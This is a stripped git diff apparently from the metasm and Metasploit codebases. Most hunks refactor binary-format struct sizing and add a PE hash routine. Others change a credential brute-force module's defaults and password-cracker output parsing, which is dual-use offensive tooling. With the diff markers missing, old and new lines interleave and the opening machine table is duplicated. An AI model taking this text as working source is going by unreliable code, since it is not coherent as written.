48 => 'H8S', 49 => 'H8_500', 50 => 'IA_64', 51 => 'MIPS_X',
0 => 'NONE', 1 => 'M32', 2 => 'SPARC', 3 => '386',
4 => '68K', 5 => '88K', 6 => '486', 7 => '860',
8 => 'MIPS', 9 => 'S370', 10 => 'MIPS_RS3_LE',
15 => 'PARISC', 17 => 'VPP500', 18 => 'SPARC32PLUS', 19 => '960',
20 => 'PPC', 21 => 'PPC64', 22 => 'S390', 23 => 'SPU',
36 => 'V800', 37 => 'FR20', 38 => 'RH32', 39 => 'MCORE',
40 => 'ARM', 41 => 'ALPHA', 42 => 'SH', 43 => 'SPARCV9',
44 => 'TRICORE', 45 => 'ARC', 46 => 'H8_300', 47 => 'H8_300H',
48 => 'H8S', 49 => 'H8_500', 50 => 'IA_64', 51 => 'MIPS_X',
52 => 'COLDFIRE', 53 => '68HC12', 54 => 'MMA', 55 => 'PCP',
56 => 'NCPU', 57 => 'NDR1', 58 => 'STARCORE', 59 => 'ME16',
60 => 'ST100', 61 => 'TINYJ', 62 => 'X86_64', 63 => 'PDSP',
66 => 'FX66', 67 => 'ST9PLUS',
68 => 'ST7', 69 => '68HC16', 70 => '68HC11', 71 => '68HC08',
72 => '68HC05',73 => 'SVX', 74 => 'ST19', 75 => 'VAX',
76 => 'CRIS', 77 => 'JAVELIN',78 => 'FIREPATH', 79 => 'ZSP',
80 => 'MMIX', 81 => 'HUANY', 82 => 'PRISM', 83 => 'AVR',
84 => 'FR30', 85 => 'D10V', 86 => 'D30V', 87 => 'V850',
88 => 'M32R', 89 => 'MN10300',90 => 'MN10200',91 => 'PJ',
92 => 'OPENRISC', 93 => 'ARC_A5', 94 => 'XTENSA',
99 => 'PJ',
0x9026 => 'ALPHA'
56 => 'NCPU', 57 => 'NDR1', 58 => 'STARCORE', 59 => 'ME16',
60 => 'ST100', 61 => 'TINYJ', 62 => 'X86_64', 63 => 'PDSP',
64 => 'PDP10', 65 => 'PDP11', 66 => 'FX66', 67 => 'ST9PLUS',
68 => 'ST7', 69 => '68HC16', 70 => '68HC11', 71 => '68HC08',
72 => '68HC05',73 => 'SVX', 74 => 'ST19', 75 => 'VAX',
76 => 'CRIS', 77 => 'JAVELIN',78 => 'FIREPATH', 79 => 'ZSP',
80 => 'MMIX', 81 => 'HUANY', 82 => 'PRISM', 83 => 'AVR',
84 => 'FR30', 85 => 'D10V', 86 => 'D30V', 87 => 'V850',
88 => 'M32R', 89 => 'MN10300',90 => 'MN10200',91 => 'PJ',
92 => 'OPENRISC', 93 => 'ARC_A5', 94 => 'XTENSA', 95 => 'VIDEOCORE',
96 => 'TMM_GPP', 97 => 'NS32K', 98 => 'TPC', 99 => 'SNP1K',
100 => 'ST200', 101 => 'IP2K', 102 => 'MAX', 103 => 'CR',
104 => 'F2MC16', 105 => 'MSP430', 106 => 'BLACKFIN', 107 => 'SE_C33',
108 => 'SEP', 109 => 'ARCA', 110 => 'UNICORE', 111 => 'EXCESS',
112 => 'DXP', 113 => 'ALTERA_NIOS2', 114 => 'CRX', 115 => 'XGATE',
116 => 'C166', 117 => 'M16C', 118 => 'DSPIC30F', 119 => 'CE',
120 => 'M32C',
131 => 'TSK3000', 132 => 'RS08', 133 => 'SHARC',
134 => 'ECOG2', 135 => 'SCORE7', 136 => 'DSP24', 137 => 'VIDEOCORE3',
138 => 'LATTICEMICO32', 139 => 'SE_C17', 140 => 'TI_C6000', 141 => 'TI_C2000',
142 => 'TI_C5500',
160 => 'MMDSP_PLUS', 161 => 'CYPRESS_M8C', 162 => 'R32C', 163 => 'TRIMEDIA',
164 => 'QDSP6', 165 => '8051', 166 => 'STXP7X', 167 => 'NDS32',
168 => 'ECOG1', 169 => 'MAXQ30', 170 => 'XIMO16', 171 => 'MANIK',
172 => 'CRAYNV2', 173 => 'RX', 174 => 'METAG', 175 => 'MCST_ELBRUS',
176 => 'ECOG16', 177 => 'CR16', 178 => 'ETPU', 179 => 'SLE9X',
180 => 'L10M', 181 => 'K10M', 182 => 'INTEL_RESV', 183 => 'AARCH64',
184 => 'ARM_RESV', 185 => 'AVR32', 186 => 'STM8', 187 => 'TILE64',
188 => 'TILEPRO', 189 => 'MICROBLAZE', 190 => 'CUDA', 191 => 'TILEGX',
192 => 'CLOUDSHIELD', 193 => 'COREA_1ST', 194 => 'COREA_2ND', 195 => 'ARC_COMPACT2',
196 => 'OPEN8', 197 => 'RL78', 198 => 'VIDEOCORE5', 199 => '78KOR',
200 => '56800EX', 201 => 'BA1', 202 => 'BA2', 203 => 'XCORE',
204 => 'MCHP_PIC', 205 => 'INTEL205', 206 => 'INTEL206', 207 => 'INTEL207',
208 => 'INTEL208', 209 => 'INTEL209', 210 => 'KM32', 211 => 'KMX32',
212 => 'KMX16', 213 => 'KMX8', 214 => 'KVARC', 215 => 'CDP',
216 => 'COGE', 217 => 'COOL', 218 => 'NORC',
}
FLAGS = {
@ -394,11 +417,6 @@ class ELF < ExeFormat
word :flags
fld_bits(:flags) { |elf, hdr| FLAGS[hdr.machine] || {} }
halfs :ehsize, :phentsize, :phnum, :shentsize, :shnum, :shstrndx
def self.size elf
x = elf.bitsize >> 3
40 + 3*x
end
end
class Segment < SerialStruct
@ -412,11 +430,6 @@ class ELF < ExeFormat
else Segment64
end
end
def self.size elf
x = elf.bitsize >> 3
8 + 6*x
end
end
class Segment32 < Segment
@ -453,11 +466,6 @@ class ELF < ExeFormat
xword :entsize
attr_accessor :name, :encoded
def self.size elf
x = elf.bitsize >> 3
16 + 6*x
end
end
class Symbol < SerialStruct
@ -471,11 +479,6 @@ class ELF < ExeFormat
attr_accessor :name_p, :value, :size, :bind, :type, :other, :shndx
attr_accessor :name, :thunk
def self.size elf
x = elf.bitsize >> 3
8 + 2*x
end
end
class Symbol32 < Symbol
@ -510,12 +513,6 @@ class ELF < ExeFormat
end
def addend ; end
def self.size elf
x = elf.bitsize >> 3
2*x
end
end
class Relocation32 < Relocation
addr :offset
@ -538,11 +535,6 @@ class ELF < ExeFormat
else RelocationAddend64
end
end
def self.size elf
x = elf.bitsize >> 3
3*x
end
end
class RelocationAddend32 < RelocationAddend
addr :offset
@ -669,6 +661,15 @@ class ELF < ExeFormat
end
def shortname; 'elf'; end
def sizeof_byte ; 1 ; end
def sizeof_half ; 2 ; end
def sizeof_word ; 4 ; end
def sizeof_sword ; 4 ; end
def sizeof_xword ; @bitsize == 32 ? 4 : 8 ; end
alias sizeof_sxword sizeof_xword
alias sizeof_addr sizeof_xword
alias sizeof_off sizeof_xword
end
class LoadedELF < ELF
@ -721,6 +722,9 @@ class FatELF < ExeFormat
def decode_byte(edata = @encoded) edata.decode_imm(:u8, @endianness) end
def decode_word(edata = @encoded) edata.decode_imm(:u16, @endianness) end
def decode_qword(edata = @encoded) edata.decode_imm(:u64, @endianness) end
def sizeof_byte ; 1 ; end
def sizeof_word ; 2 ; end
def sizeof_qword ; 8 ; end
attr_accessor :header, :list
def initialize

View File

@ -106,7 +106,7 @@ class ELF
def decode_header(off = 0, decode_phdr=true, decode_shdr=true)
@encoded.ptr = off
@header.decode self
raise InvalidExeFormat, "Invalid elf header size: #{@header.ehsize}" if Header.size(self) != @header.ehsize
raise InvalidExeFormat, "Invalid elf header size: #{@header.ehsize}" if Header.sizeof(self) != @header.ehsize
if decode_phdr and @header.phoff != 0
decode_program_header(@header.phoff+off)
end
@ -118,7 +118,7 @@ class ELF
# decodes the section header
# section names are read from shstrndx if possible
def decode_section_header(off = @header.shoff)
raise InvalidExeFormat, "Invalid elf section header size: #{@header.shentsize}" if Section.size(self) != @header.shentsize
raise InvalidExeFormat, "Invalid elf section header size: #{@header.shentsize}" if Section.sizeof(self) != @header.shentsize
@encoded.add_export new_label('section_header'), off
@encoded.ptr = off
@sections = []
@ -137,7 +137,7 @@ class ELF
# decodes the program header table
# marks the elf entrypoint as an export of +self.encoded+
def decode_program_header(off = @header.phoff)
raise InvalidExeFormat, "Invalid elf program header size: #{@header.phentsize}" if Segment.size(self) != @header.phentsize
raise InvalidExeFormat, "Invalid elf program header size: #{@header.phentsize}" if Segment.sizeof(self) != @header.phentsize
@encoded.add_export new_label('program_header'), off
@encoded.ptr = off
@segments = []
@ -232,13 +232,13 @@ class ELF
# no way to get the number of non-exported symbols from what we have here
# so we'll decode all relocs and use the largest index we see..
rels = []
if @encoded.ptr = @tag['REL'] and @tag['RELENT'] == Relocation.size(self)
if @encoded.ptr = @tag['REL'] and @tag['RELENT'] == Relocation.sizeof(self)
p_end = @encoded.ptr + @tag['RELSZ']
while @encoded.ptr < p_end
rels << Relocation.decode(self)
end
end
if @encoded.ptr = @tag['RELA'] and @tag['RELAENT'] == RelocationAddend.size(self)
if @encoded.ptr = @tag['RELA'] and @tag['RELAENT'] == RelocationAddend.sizeof(self)
p_end = @encoded.ptr + @tag['RELASZ']
while @encoded.ptr < p_end
rels << RelocationAddend.decode(self)
@ -392,7 +392,7 @@ class ELF
def decode_segments_symbols
return unless @tag['STRTAB'] and @tag['STRSZ'] and @tag['SYMTAB'] and (@tag['HASH'] or @tag['GNU_HASH'])
raise "E: ELF: unsupported symbol entry size: #{@tag['SYMENT']}" if @tag['SYMENT'] != Symbol.size(self)
raise "E: ELF: unsupported symbol entry size: #{@tag['SYMENT']}" if @tag['SYMENT'] != Symbol.sizeof(self)
# find number of symbols
if @tag['HASH']
@ -427,7 +427,7 @@ class ELF
@encoded.ptr = sec.offset
syms = []
raise 'Invalid symbol table' if sec.size > @encoded.length
(sec.size / Symbol.size(self)).times { syms << Symbol.decode(self, strtab) }
(sec.size / Symbol.sizeof(self)).times { syms << Symbol.decode(self, strtab) }
alreadysegs = true if @header.type == 'DYN' or @header.type == 'EXEC'
alreadysyms = @symbols.inject({}) { |h, s| h.update s.name => true } if alreadysegs
syms.each { |s|
@ -480,7 +480,7 @@ class ELF
def decode_segments_relocs
@relocations.clear
if @encoded.ptr = @tag['REL']
raise "E: ELF: unsupported rel entry size #{@tag['RELENT']}" if @tag['RELENT'] != Relocation.size(self)
raise "E: ELF: unsupported rel entry size #{@tag['RELENT']}" if @tag['RELENT'] != Relocation.sizeof(self)
p_end = @encoded.ptr + @tag['RELSZ']
while @encoded.ptr < p_end
@relocations << Relocation.decode(self)
@ -488,7 +488,7 @@ class ELF
end
if @encoded.ptr = @tag['RELA']
raise "E: ELF: unsupported rela entry size #{@tag['RELAENT'].inspect}" if @tag['RELAENT'] != RelocationAddend.size(self)
raise "E: ELF: unsupported rela entry size #{@tag['RELAENT'].inspect}" if @tag['RELAENT'] != RelocationAddend.sizeof(self)
p_end = @encoded.ptr + @tag['RELASZ']
while @encoded.ptr < p_end
@relocations << RelocationAddend.decode(self)
@ -935,6 +935,8 @@ class ELF
when 'PPC'; PPC.new
when 'ARM'; ARM.new
when 'SH'; Sh4.new
when 'ARC_COMPACT'; ARC.new
when 'MSP430'; MSP430.new
else raise "unsupported cpu #{@header.machine}"
end
end

View File

@ -20,10 +20,10 @@ class ELF
@phoff ||= elf.segments.empty? ? 0 : elf.new_label('phdr')
@shoff ||= elf.sections.length <= 1 ? 0 : elf.new_label('shdr')
@flags ||= []
@ehsize ||= Header.size(elf)
@phentsize ||= Segment.size(elf)
@ehsize ||= Header.sizeof(elf)
@phentsize ||= Segment.sizeof(elf)
@phnum ||= elf.segments.length
@shentsize ||= Section.size(elf)
@shentsize ||= Section.sizeof(elf)
@shnum ||= elf.sections.length
super(elf)
@ -247,7 +247,7 @@ class ELF
dynsym = Section.new
dynsym.name = '.dynsym'
dynsym.type = 'DYNSYM'
dynsym.entsize = Symbol.size(self)
dynsym.entsize = Symbol.sizeof(self)
dynsym.addralign = 4
dynsym.flags = ['ALLOC']
dynsym.info = @symbols[1..-1].find_all { |s| s.bind == 'LOCAL' }.length + 1
@ -258,7 +258,7 @@ class ELF
@symbols.each { |s| dynsym.encoded << s.encode(self, strtab.encoded) } # needs all section indexes, as will be in the final section header
@tag['SYMTAB'] = label_at(dynsym.encoded, 0)
@tag['SYMENT'] = Symbol.size(self)
@tag['SYMENT'] = Symbol.sizeof(self)
encode_check_section_size dynsym
@ -294,7 +294,7 @@ class ELF
@tag['JMPREL'] = label_at(relplt.encoded, 0)
@tag['PLTRELSZ'] = relplt.encoded.virtsize
@tag['PLTREL'] = relplt.type = stype
@tag[stype + 'ENT'] = relplt.entsize = relplt.addralign = (stype == 'REL' ? Relocation.size(self) : RelocationAddend.size(self))
@tag[stype + 'ENT'] = relplt.entsize = relplt.addralign = (stype == 'REL' ? Relocation.sizeof(self) : RelocationAddend.sizeof(self))
encode_check_section_size relplt
end
@ -312,13 +312,13 @@ class ELF
rel.name = '.rel.dyn'
rel.type = 'REL'
rel.flags = ['ALLOC']
rel.entsize = rel.addralign = Relocation.size(self)
rel.entsize = rel.addralign = Relocation.sizeof(self)
encode_add_section rel
end
rel.encoded = EncodedData.new
list.each { |r| rel.encoded << r.encode(self) }
@tag['REL'] = label_at(rel.encoded, 0)
@tag['RELENT'] = Relocation.size(self)
@tag['RELENT'] = Relocation.sizeof(self)
@tag['RELSZ'] = rel.encoded.virtsize
encode_check_section_size rel
end
@ -330,13 +330,13 @@ class ELF
rela.name = '.rela.dyn'
rela.type = 'RELA'
rela.flags = ['ALLOC']
rela.entsize = rela.addralign = RelocationAddend.size(self)
rela.entsize = rela.addralign = RelocationAddend.sizeof(self)
encode_add_section rela
end
rela.encoded = EncodedData.new
list.each { |r| rela.encoded << r.encode(self) }
@tag['RELA'] = label_at(rela.encoded, 0)
@tag['RELAENT'] = RelocationAddend.size(self)
@tag['RELAENT'] = RelocationAddend.sizeof(self)
@tag['RELASZ'] = rela.encoded.virtsize
encode_check_section_size rela
end
@ -457,7 +457,7 @@ class ELF
plt.encoded << shellcode["jmp [#{base} + #{gotplt.encoded.length}]"]
plt.encoded.add_export r.symbol.name+'_plt_default', plt.encoded.length
reloffset = @relocations.find_all { |rr| rr.type == 'JMP_SLOT' }.length
reloffset *= Relocation.size(self) if @bitsize == 32
reloffset *= Relocation.sizeof(self) if @bitsize == 32
plt.encoded << shellcode["push #{reloffset}\njmp metasm_plt_start"]
# transform the reloc PC32 => JMP_SLOT

View File

@ -30,6 +30,7 @@ class GameBoyRom < ExeFormat
def encode_byte(val) Expression[val].encode(:u8, @endianness) end
def decode_byte(edata = @encoded) edata.decode_imm(:u8, @endianness) end
def sizeof_byte ; 1 ; end
attr_accessor :header

View File

@ -292,6 +292,9 @@ class JavaClass < ExeFormat
def decode_u1(edata = @encoded) edata.decode_imm(:u8, @endianness) end
def decode_u2(edata = @encoded) edata.decode_imm(:u16, @endianness) end
def decode_u4(edata = @encoded) edata.decode_imm(:u32, @endianness) end
def sizeof_u1 ; 1 ; end
def sizeof_u2 ; 2 ; end
def sizeof_u4 ; 4 ; end
attr_accessor :header, :constant_pool, :class_info, :interfaces, :fields, :methods, :attributes

View File

@ -511,6 +511,10 @@ class MachO < ExeFormat
def decode_half(edata = @encoded) edata.decode_imm(:u16, @endianness) end
def decode_word(edata = @encoded) edata.decode_imm(:u32, @endianness) end
def decode_xword(edata= @encoded) edata.decode_imm((@size == 32 ? :u32 : :u64), @endianness) end
def sizeof_byte ; 1 ; end
def sizeof_half ; 2 ; end
def sizeof_word ; 4 ; end
def sizeof_xword ; @size == 32 ? 4 : 8 ; end
attr_accessor :endianness, :size
@ -978,6 +982,7 @@ class UniversalBinary < ExeFormat
def encode_word(val) Expression[val].encode(:u32, @endianness) end
def decode_word(edata = @encoded) edata.decode_imm(:u32, @endianness) end
def sizeof_word ; 4 ; end
attr_accessor :endianness, :encoded, :header, :archive
def initialize

View File

@ -51,6 +51,7 @@ class MZ < ExeFormat
def encode_word(val) Expression[val].encode(:u16, @endianness) end
# decodes a 16bits word from self.encoded
def decode_word(edata = @encoded) edata.decode_imm(:u16, @endianness) end
def sizeof_word ; 2 ; end
attr_accessor :endianness, :header, :source

View File

@ -70,6 +70,9 @@ class NDS < ExeFormat
def decode_byte(edata = @encoded) edata.decode_imm(:u8, @endianness) end
def decode_half(edata = @encoded) edata.decode_imm(:u16, @endianness) end
def decode_word(edata = @encoded) edata.decode_imm(:u32, @endianness) end
def sizeof_byte ; 1 ; end
def sizeof_half ; 2 ; end
def sizeof_word ; 4 ; end
attr_accessor :header, :icon, :arm9, :arm7

View File

@ -297,6 +297,35 @@ EOS
} if export
syms
end
# compute the pe-sha1 or pe-sha256 of the binary
# argument should be a Digest::SHA1 (from digest/sha1) or a Digest::SHA256 (from digest/sha2)
# returns the hex checksum
def pehash(digest)
off0 = 0
off1 = @coff_offset + @header.sizeof(self) + @optheader.offsetof(self, :checksum)
dir_ct_idx = DIRECTORIES.index('certificate_table')
if @optheader.numrva > dir_ct_idx
off2 = @coff_offset + @header.sizeof(self) + @optheader.sizeof(self) + 8*dir_ct_idx
ct_size = @encoded.data[off2, 8].unpack('V*')[1]
off3 = @encoded.length - ct_size
else
off4 = @encoded.length
end
digest << @encoded.data[off0 ... off1].to_str
digest << @encoded.data[off1+4 ... off2].to_str if off2
digest << @encoded.data[off2+8 ... off3].to_str if off2 and off3 > off2+8
digest << @encoded.data[off1+4 ... off4].to_str if off4
digest << ("\0" * (8 - (@encoded.length & 7))) if @encoded.length & 7 != 0
digest.hexdigest
end
def self.pehash(path, digest)
decode_file_header(path).pehash(digest)
end
end
# an instance of a PE file, loaded in memory
@ -436,5 +465,9 @@ class LoadedPE < PE
dump.imports.last.imports << i
end
end
def pehash(digest)
raise "cannot compute a PEhash from memory image"
end
end
end

View File

@ -27,6 +27,9 @@ class PYC < ExeFormat
def decode_half(edata=@encoded) edata.decode_imm(:u16, @endianness) end
def decode_word(edata=@encoded) edata.decode_imm(:u32, @endianness) end
def decode_long(edata=@encoded) edata.decode_imm(:i32, @endianness) end
def sizeof_half ; 2 ; end
def sizeof_word ; 4 ; end
def sizeof_long ; 4 ; end
# file header
attr_accessor :header

View File

@ -13,19 +13,20 @@ class SerialStruct
NAME=0
DECODE=1
ENCODE=2
DEFVAL=3
ENUM=4
BITS=5
SIZEOF=3
DEFVAL=4
ENUM=5
BITS=6
class << self
# defines a new field
# adds an accessor
def new_field(name, decode, encode, defval, enum=nil, bits=nil)
def new_field(name, decode, encode, sizeof, defval, enum=nil, bits=nil)
if name
attr_accessor name
name = "@#{name}".to_sym
end
(@@fields[self] ||= []) << [name, decode, encode, defval, enum, bits]
(@@fields[self] ||= []) << [name, decode, encode, sizeof, defval, enum, bits]
end
# creates a field constructor for a simple integer
@ -34,7 +35,7 @@ class << self
recv = class << self ; self ; end
types.each { |type|
recv.send(:define_method, type) { |name, *args|
new_field(name, "decode_#{type}".to_sym, "encode_#{type}".to_sym, args[0] || 0, args[1])
new_field(name, "decode_#{type}".to_sym, "encode_#{type}".to_sym, "sizeof_#{type}".to_sym, args[0] || 0, args[1])
}
# shortcut to define multiple fields of this type with default values
@ -49,19 +50,20 @@ class << self
# virtual field, handled explicitly in a custom encode/decode
def virtual(*a)
a.each { |f|
new_field(f, nil, nil, nil)
new_field(f, nil, nil, nil, nil)
}
end
# a fixed-size memory chunk
def mem(name, len, defval='')
new_field(name, lambda { |exe, me| exe.curencoded.read(len) }, lambda { |exe, me, val| val[0, len].ljust(len, 0.chr) }, defval)
new_field(name, lambda { |exe, me| exe.curencoded.read(len) }, lambda { |exe, me, val| val[0, len].ljust(len, 0.chr) }, lambda { |exe, me| len }, defval)
end
# a fixed-size string, 0-padded
def str(name, len, defval='')
e = lambda { |exe, me, val| val[0, len].ljust(len, 0.chr) }
d = lambda { |exe, me| v = exe.curencoded.read(len) ; v = v[0, v.index(?\0)] if v.index(?\0) ; v }
new_field(name, d, e, defval)
e = lambda { |exe, me, val| val[0, len].ljust(len, 0.chr) }
s = lambda { |exe, me| len }
new_field(name, d, e, s, defval)
end
# 0-terminated string
def strz(name, defval='')
@ -70,7 +72,8 @@ class << self
ed.read(ed.data.index(?\0, ed.ptr)-ed.ptr+1).chop
}
e = lambda { |exe, me, val| val + 0.chr }
new_field(name, d, e, defval)
s = lambda { |exe, val| val.length + 1 }
new_field(name, d, e, s, defval)
end
# field access
@ -100,7 +103,7 @@ class << self
d = lambda { |exe, me| @bitfield_val = exe.send("decode_#{inttype}") }
# reset a temp var
e = lambda { |exe, me, val| @bitfield_val = 0 ; nil }
new_field(nil, d, e, nil)
new_field(nil, d, e, 0, nil)
h = h.sort
h.length.times { |i|
@ -114,7 +117,7 @@ class << self
d = lambda { |exe, me| (@bitfield_val >> off) & mask }
# update the temp var with the field value, return nil
e = lambda { |exe, me, val| @bitfield_val |= (val & mask) << off ; nil }
new_field(name, d, e, 0)
new_field(name, d, e, 0, 0)
}
# free the temp var
@ -125,7 +128,8 @@ class << self
@bitfield_val = nil
exe.send("encode_#{inttype}", val)
}
new_field(nil, d, e, nil)
s = lambda { |exe, me| exe.send("sizeof_#{inttype}") }
new_field(nil, d, e, s, nil)
end
# inject a hook to be run during the decoding process
@ -217,6 +221,39 @@ end # class methods
ed
end
# size of the structure = fields.sum { size of field }
def sizeof(exe)
struct_fields(exe).inject(0) { |off, f|
case sz = f[SIZEOF]
when Proc; sz = sz[exe, self]
when Symbol; sz = exe.send(sz)
when Array; sz = exe.send(*sz)
when nil; sz = 0
end
off + sz
}
end
# offset (in bytes) of the structure member
# for bitfields, return the byte offset of the whole bitfield
def offsetof(exe, fld)
fld2 = fld
fld2 = "@#{fld}".to_sym if fld.to_s[0] != ?@
off = 0
struct_fields(exe).each { |f|
return off if f[NAME] == fld or f[NAME] == fld2
case sz = f[SIZEOF]
when Proc; sz = sz[exe, self]
when Symbol; sz = exe.send(sz)
when Array; sz = exe.send(*sz)
when nil; sz = 0
end
off += sz
}
raise 'unknown field'
end
# shortcut to create a new instance and decode it
def self.decode(*a)
s = new
@ -224,6 +261,14 @@ end # class methods
s
end
def self.sizeof(exe)
new.sizeof(exe)
end
def self.offsetof(exe, fld)
new.offsetof(exe, fld)
end
def dump(e, a)
case e
when Integer; e >= 0x100 ? '0x%X'%e : e

View File

@ -164,6 +164,11 @@ class SWF < ExeFormat
def encode_u32(w) Expression[w].encode(:u32, @endianness) end
def encode_f16(w) Expression[(w*256).to_i].encode(:u16, @endianness) end
def encode_f32(w) Expression[(w*65536).to_i].encode(:u32, @endianness) end
def sizeof_u8 ; 1 ; end
def sizeof_u16 ; 2 ; end
def sizeof_u32 ; 4 ; end
def sizeof_f16 ; 2 ; end
def sizeof_f32 ; 4 ; end
attr_accessor :endianness
def initialize(cpu = nil)

View File

@ -51,7 +51,7 @@ class XCoff < ExeFormat
@nsec ||= xcoff.sections.size
@symptr ||= xcoff.symbols ? xcoff.new_label('symptr') : 0
@nsym ||= xcoff.symbols ? xcoff.symbols.length : 0
@opthdr ||= xcoff.optheader ? OptHeader.size(xcoff) : 0
@opthdr ||= xcoff.optheader ? xcoff.optheader.sizeof(xcoff) : 0
super(xcoff)
end
end
@ -61,13 +61,9 @@ class XCoff < ExeFormat
xwords :tsize, :dsize, :bsize, :entry, :text_start, :data_start, :toc
halfs :snentry, :sntext, :sndata, :sntoc, :snloader, :snbss, :aligntext, :aligndata, :modtype, :cpu
xwords :maxstack, :maxdata
new_field(:res, lambda { |exe, me| exe.encoded.read(exe.intsize == 32 ? 8 : 120) }, lambda { |exe, me, val| val }, '')
new_field(:res, lambda { |exe, me| exe.encoded.read(exe.intsize == 32 ? 8 : 120) }, lambda { |exe, me, val| val }, lambda { |exe, me| exe.intsize == 32 ? 8 : 120 }, '')
def self.size(xcoff)
xcoff.intsize == 32 ? 2*2+7*4+10*2+2*4+2+8 : 2*2+7*8+10*2+2*8+2+120
end
def set_default_values(xcoff)
@vstamp ||= 1
@snentry ||= 1
@ -99,12 +95,16 @@ class XCoff < ExeFormat
# basic immediates decoding functions
def decode_half( edata = @encoded) edata.decode_imm(:u16, @endianness) end
def decode_word( edata = @encoded) edata.decode_imm(:u32, @endianness) end
def decode_xhalf(edata = @encoded) edata.edoced_imm((@intsize == 32 ? :u16 : :u32), @endianness) end
def decode_xhalf(edata = @encoded) edata.decode_imm((@intsize == 32 ? :u16 : :u32), @endianness) end
def decode_xword(edata = @encoded) edata.decode_imm((@intsize == 32 ? :u32 : :u64), @endianness) end
def encode_half(w) Expression[w].encode(:u16, @endianness) end
def encode_word(w) Expression[w].encode(:u32, @endianness) end
def encode_xhalf(w) Expression[w].encode((@intsize == 32 ? :u16 : :u32), @endianness) end
def encode_xword(w) Expression[w].encode((@intsize == 32 ? :u32 : :u64), @endianness) end
def sizeof_half ; 2 ; end
def sizeof_word ; 4 ; end
def sizeof_xhalf ; @intsize == 32 ? 2 : 4 ; end
def sizeof_xword ; @intsize == 32 ? 4 : 8 ; end
attr_accessor :header, :segments, :relocs, :intsize, :endianness

View File

@ -211,6 +211,8 @@ class ZIP < ExeFormat
def decode_word(edata=@encoded) edata.decode_imm(:u32, @endianness) end
def encode_half(w) Expression[w].encode(:u16, @endianness) end
def encode_word(w) Expression[w].encode(:u32, @endianness) end
def sizeof_half ; 2 ; end
def sizeof_word ; 4 ; end
attr_accessor :files, :header

View File

@ -1423,6 +1423,11 @@ class WinOS < OS
end
end
# retrieve the actual context structure (so we can pass to API's like StackWalk64)
def c_struct
@context
end
# update the context to reflect the current thread reg values
# call only when the thread is suspended
def update

View File

@ -92,4 +92,11 @@ class TestX86_64 < Test::Unit::TestCase
assert_equal("\x87\xc0", assemble('xchg eax, eax'))
assert_equal('xchg r8, rax', disassemble("\x49\x90").decoded[0].instruction.to_s)
end
def test_C_size
assert_nothing_raised {
Metasm::Shellcode.compile_c(@@cpu, "void main(void) { int i=5670, j=8907 ; i = i*j; }").encode_string
}
end
end

View File

@ -20,8 +20,8 @@ module Auxiliary::AuthBrute
OptPath.new('USERPASS_FILE', [ false, "File containing users and passwords separated by space, one pair per line" ]),
OptInt.new('BRUTEFORCE_SPEED', [ true, "How fast to bruteforce, from 0 to 5", 5]),
OptBool.new('VERBOSE', [ true, "Whether to print output for all attempts", true]),
OptBool.new('BLANK_PASSWORDS', [ false, "Try blank passwords for all users", true]),
OptBool.new('USER_AS_PASS', [ false, "Try the username as the password for all users", true]),
OptBool.new('BLANK_PASSWORDS', [ false, "Try blank passwords for all users", false]),
OptBool.new('USER_AS_PASS', [ false, "Try the username as the password for all users", false]),
OptBool.new('DB_ALL_CREDS', [false,"Try each user/password couple stored in the current database",false]),
OptBool.new('DB_ALL_USERS', [false,"Add all users in the current database to the list",false]),
OptBool.new('DB_ALL_PASS', [false,"Add all passwords in the current database to the list",false]),
@ -330,6 +330,9 @@ module Auxiliary::AuthBrute
end
creds = [ [], [], [], [] ] # userpass, pass, user, rest
remaining_pairs = combined_array.length # counter for our occasional output
interval = 60 # seconds between each remaining pair message reported to user
next_message_time = Time.now + interval # initial timing interval for user message
# Move datastore['USERNAME'] and datastore['PASSWORD'] to the front of the list.
# Note that we cannot tell the user intention if USERNAME or PASSWORD is blank --
# maybe (and it's often) they wanted a blank. One more credential won't kill
@ -344,6 +347,14 @@ module Auxiliary::AuthBrute
else
creds[3] << pair
end
if Time.now > next_message_time
print_brute(
:level => :vstatus,
:msg => "Pair list is still building with #{remaining_pairs} pairs left to process"
)
next_message_time = Time.now + interval
end
remaining_pairs -= 1
end
return creds[0] + creds[1] + creds[2] + creds[3]
end

View File

@ -142,12 +142,11 @@ module Auxiliary::JohnTheRipper
res[:uncracked] = $2.to_i
end
# XXX: If the password had : characters in it, we're screwed
bits = line.split(':', -1)
# If the password had : characters in it, put them back together
while bits.length > 7
bits[1,2] = bits[1,2].join(":")
end
# Skip blank passwords
next if not bits[2]
if (format== 'lm' or format == 'nt')

View File

@ -184,7 +184,6 @@ def nmap_validate_rports
if datastore['RPORT'] && (datastore['RPORT'].kind_of?(Fixnum) || !datastore['RPORT'].empty?)
return true
end
bad_port = false
if rports.nil? || rports.empty?
print_error "Missing RPORTS"
return false
@ -193,14 +192,10 @@ def nmap_validate_rports
if r =~ /^([TU]:)?[0-9]*-?[0-9]*$/
next
else
bad_port = true
break
print_error "Malformed nmap port: #{r}"
return false
end
end
if bad_port
print_error "Malformed nmap port: #{r}"
return false
end
print_status "Using RPORTS range #{datastore['RPORTS']}"
return true
end
@ -246,7 +241,7 @@ def nmap_hosts(&block)
fh = self.nmap_log[0]
nmap_data = fh.read(fh.stat.size)
# fh.unlink
if Rex::Parser.nokogiri_loaded
if Rex::Parser.nokogiri_loaded && framework.db.active
wspace = framework.db.find_workspace(datastore['WORKSPACE'])
wspace ||= framework.db.workspace
import_args = { :data => nmap_data, :wspace => wspace }

View File

@ -2089,25 +2089,16 @@ class DBManager
loot.service_id = opts[:service][:id]
end
loot.path = path
loot.ltype = ltype
loot.path = path
loot.ltype = ltype
loot.content_type = ctype
loot.data = data
loot.name = name if name
loot.info = info if info
loot.data = data
loot.name = name if name
loot.info = info if info
loot.workspace = wspace
msf_import_timestamps(opts,loot)
loot.save!
if !opts[:created_at]
=begin
if host
host.updated_at = host.created_at
host.state = HostState::Alive
host.save!
end
=end
end
ret[:loot] = loot
}
end
@ -2178,35 +2169,63 @@ class DBManager
end
#
# Find or create a task matching this type/data
#
# TODO This method does not attempt to find. It just creates
# a report based on the passed params.
def find_or_create_report(opts)
report_report(opts)
end
# Creates a Report based on passed parameters. Does not handle
# child artifacts.
# @param opts [Hash]
# @return [Integer] ID of created report
def report_report(opts)
return if not active
::ActiveRecord::Base.connection_pool.with_connection {
wspace = opts.delete(:workspace) || workspace
path = opts.delete(:path) || (raise RuntimeError, "A report :path is required")
ret = {}
user = opts.delete(:user)
options = opts.delete(:options)
rtype = opts.delete(:rtype)
report = wspace.reports.new
report.created_by = user
report.options = options
report.rtype = rtype
report.path = path
msf_import_timestamps(opts,report)
report.save!
report = Report.new(opts)
unless report.valid?
